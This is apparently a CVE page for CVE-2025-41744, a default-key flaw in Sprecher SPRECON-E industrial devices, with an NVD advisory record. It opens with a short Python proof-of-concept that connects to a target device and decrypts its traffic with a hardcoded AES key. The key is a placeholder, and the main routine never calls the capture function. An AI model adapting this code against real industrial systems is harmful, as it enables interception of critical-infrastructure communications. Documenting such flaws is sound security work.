CVE-2025-41744

#!/usr/bin/env python3 """ CVE-2025-41744 PoC - SPRECON-E Default Key Exploitation Note: This is a conceptual PoC for educational purposes only. """ import socket import struct from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # Default key found in SPRECON-E devices (example key) DEFAULT_KEY = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF') DEFAULT_IV = bytes.fromhex('FEDCBA9876543210FEDCBA9876543210') def decrypt_communication(encrypted_data): """Decrypt SPRECON-E communication using default key""" try: cipher = AES.new(DEFAULT_KEY, AES.MODE_CBC, DEFAULT_IV) decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted except Exception as e: print(f"Decryption failed: {e}") return None def capture_and_decrypt(target_ip, port=5000): """Capture encrypted traffic and decrypt using default key""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Receive encrypted data encrypted_data = sock.recv(4096) sock.close() # Decrypt using default key decrypted = decrypt_communication(encrypted_data) if decrypted: print(f"Decrypted communication: {decrypted}") return True return False if __name__ == "__main__": print("CVE-2025-41744 PoC - SPRECON-E Default Key Exploitation") print("Target: SPRECON-E device with default encryption key") # Usage: python poc.py <target_ip> # Replace with actual target IP for testing authorized systems

{"cve": {"id": "CVE-2025-41744", "sourceIdentifier": "[email protected]", "published": "2025-12-02T11:15:51.760", "lastModified": "2026-02-23T17:15:02.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sprecher Automations SPRECON-E series uses default cryptographic keys that allow an unprivileged remote attacker to access all encrypted communications, thereby compromising confidentiality and integrity."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1394"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "9DF00EFE-05D9-48D1-9D32-B0E4E40D14F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-c:*:*:*:*:*:*:*:*", "matchCriteriaId": "17CF3E5A-AAD9-4B96-945D-501E461661CC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-p_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F27A10F8-544C-4B48-9FB9-198D79CCB885"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-p:*:*:*:*:*:*:*:*", "matchCriteriaId": "E0CC75D6-DD26-42A0-83F4-69423D8F5284"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-t3_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "B0BDEAF2-092F-413D-9D16-AAFA484D13AB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-t3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6384D2B2-DCDA-445B-8336-E4EF0E2B3267"}]}]}], "references": [{"url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/SPR-2511043_de.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}